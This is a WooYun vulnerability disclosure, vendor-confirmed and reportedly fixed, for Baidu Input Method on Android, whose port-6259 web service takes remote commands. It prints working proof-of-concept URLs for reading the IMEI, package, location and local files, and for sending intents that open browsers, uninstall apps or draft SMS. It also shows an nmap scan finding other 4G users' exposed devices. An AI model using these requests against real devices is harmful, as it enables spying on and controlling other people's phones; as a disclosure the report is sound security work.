当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0145365

漏洞标题:百度输入法安卓版存在远程获取信息控制用户行为漏洞(可恶意推入内容等4G网络内可找到目标)

相关厂商:百度

漏洞作者: 瘦蛟舞

提交时间:2015-10-08 16:47

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:远程代码执行

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-08: 细节已通知厂商并且等待厂商处理中
2015-10-08: 厂商已经确认,细节仅向厂商公开
2015-10-11: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-02: 细节向核心白帽子及相关领域专家公开
2015-12-12: 细节向普通白帽子公开
2015-12-22: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

百度输入法安卓版存在远程获取信息控制用户行为漏洞(可恶意推入内容等4G网络内可找到目标)

详细说明:

通过 netstat 发现百度输入一直监听6259端口

root@hammerhead:/ # busybox netstat -tunlp                                     
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 :::6259 :::* LISTEN 17247/com.baidu.inp


通过逆向分析app 发现6259提供一个 web 服务

server.png


该 web 服务通过截取 url 中字符串取得命令执行实现类

web.png


对请求的 referrer 进行了验证.所以在伪造这个请求的时候得加上百度或者 hao123的 referrer

check.png


漏洞证明:

获取应用信息
:6259/getpackageinfo?callback=123&packagename=com

package.png


获取 imei (倒序)

imei.png


其中还有一个比较有意思的功能,远程发送 intent

send.png


从代码代码来看百度输入通过Intent.parseUri()来解析远程发送的 intent 信息之后再进行查询.匹配到正确的 intent 后执行打开 activity 或者 发送广播的操作
intent-based URI基本语法如下:

intent:
HOST/URI-path // Optional host
#Intent;
package=[string];
action=[string];
category=[string];
component=[string];
scheme=[string];
end;


因为是在url 中,poc 构造完后需要对其进行 urlencode
POC的构造可以参考 android 源码对此函数的处理
https://code.google.com/p/android-source-browsing/source/browse/core/java/android/content/Intent.java?repo=platform--frameworks--base#6514
也可以参考 drops 的文章
http://drops.wooyun.org/papers/2893
通过这个功能能达到哪些攻击效果了
- 打开钓鱼页面/广告页面/恶意 apk 页面
- 打开浏览器利用 webview 的 UXSS 和代码执行等漏洞进行攻击 (和系统版本有关)
- 因为intent 是出自 app 自身所以不考虑跨进程的问题,直接访问一些未导出的组件进行攻击
- 恶意消耗用户流量/电量/干扰用户
打开输入法内置浏览器
192.168.1.102:6259/sendintent?callback=123&intent=intent%3A%23Intent%3Bcomponent%3Dcom.baidu.input%2f.ImeWebBrowseActivity%3BS.url%3Dhttp%3A%2f%2fuxss.sinaapp.com%3BS.name%3Dtest%3Bend%3B
此 activity 在配置文件导出设置为 false,但是因为是本进程内发起的 start 可以无视

<activity android:configChanges="0x000004A0" android:excludeFromRecents="true" android:exported="false" android:hardwareAccelerated="false" android:launchMode="1" android:name=".ImeWebBrowseActivity" android:process=":event" android:screenOrientation="1" android:taskAffinity="com.baidu.input.event" android:theme="@7F0B0000">
</activity>


本地域访问权限也是开着的
http://192.168.1.102:6259/sendintent?callback=123&intent=intent%3A%23Intent%3Bcomponent%3Dcom.baidu.input%2f.ImeWebBrowseActivity%3BS.url%3Dfile%3A%2f%2f%2fdata%2fdata%2fcom.baidu.input%2fshared_prefs%2ftj.xml%3BS.name%3Dtest%3Bend%3B

local.png


打开系统浏览器
192.0.0.188:6259/sendintent?callback=123&intent=intent%3Ahttp%3A%2f%2fdrops.wooyun.org%2fwebview.html%23Intent%3Baction%3Dandroid.intent.action.VIEW%3Bend
打开照相机
192.0.0.188:6259/sendintent?callback=123&intent=intent%3A%23Intent%3Baction%3Dandroid.media.action.STILL_IMAGE_CAMERA%3Bend
卸载 app
intent:package:org.wooyun.hiwooyun#Intent;action=android.intent.action.DELETE;end
新建短信
intent:smsto:10000#Intent;action=android.intent.action.SENDTO;end
新建联系人
intent:#Intent;action=android.intent.action.INSERT_OR_EDIT;S.name=magic;S.phone=+8610000;i.phone_type=2;type=vnd.android.cursor.item/person;end
小视频有些大,还是算了.给个 intent 的监控图吧....

monitor.png


扫描自己手机4G 联网下一个 C 段的6259端口情况如下

netstat -na
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 10.137.47.235:35455 61.151.186.121:443 ESTABLISHED
tcp6 0 0 :::6259 :::* LISTEN
tcp6 1 1 ::ffff:10.137.47.235:55925 ::ffff:140.205.162.6:80 LAST_ACK
tcp6 1 1 ::ffff:10.137.47.235:54782 ::ffff:42.120.169.3:80 LAST_ACK
tcp6 1 1 ::ffff:10.137.47.235:39986 ::ffff:42.120.169.21:80 LAST_ACK
tcp6 1 0 ::ffff:10.137.47.235:56484 ::ffff:115.231.102.235:80 CLOSE_WAIT
tcp6 1 0 ::ffff:10.137.47.235:48534 ::ffff:61.177.126.143:80 CLOSE_WAIT
tcp6 0 0 ::ffff:10.137.47.235:37898 ::ffff:54.255.252.136:5223 ESTABLISHED
tcp6 1 1 ::ffff:10.137.47.235:38676 ::ffff:42.120.169.21:80 LAST_ACK


./nmap -sT --open -p6259 10.137.47.0/24 -n -PN -vv                             <
Starting Nmap 5.51 ( http://nmap.org ) at 2015-09-29 03:56 UTC
Initiating Connect Scan at 03:56
Scanning 256 hosts [1 port/host]
Discovered open port 6259/tcp on 10.137.47.25
Discovered open port 6259/tcp on 10.137.47.130
Discovered open port 6259/tcp on 10.137.47.247
Discovered open port 6259/tcp on 10.137.47.138
Discovered open port 6259/tcp on 10.137.47.196
Discovered open port 6259/tcp on 10.137.47.101
Discovered open port 6259/tcp on 10.137.47.106
Discovered open port 6259/tcp on 10.137.47.56
Discovered open port 6259/tcp on 10.137.47.212
Discovered open port 6259/tcp on 10.137.47.235
Discovered open port 6259/tcp on 10.137.47.31


---
其他功能:
获取联网方式
192.0.0.188:6259/getapn?callback=123
获取某字符串
192.0.0.188:6259/getlocstring?callback=123
获取服务信息
192.0.0.188:6259/getserviceinfo?callback=123
定位
192.0.0.188:6259/geolocation?callback=012&timeout=1&error=0
搜索信息
192.0.0.188:6259/getsearchboxinfo?callback=123
下载信息
192.0.0.188:6259/scandownloadfile?callback=123&apkfilelength=1&apkfilename=test.apk&apkpackagename=com.baidu.input&apkexpiredtime=10&scanedexpiredtime=10&scanedonetime=1

修复方案:

版权声明:转载请注明来源 瘦蛟舞@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-10-08 18:35

厂商回复:

感谢提交,漏洞分析很详细!赞!

最新状态:

2015-10-22:百度输入法最新版本中已经修复该漏洞,即将发布。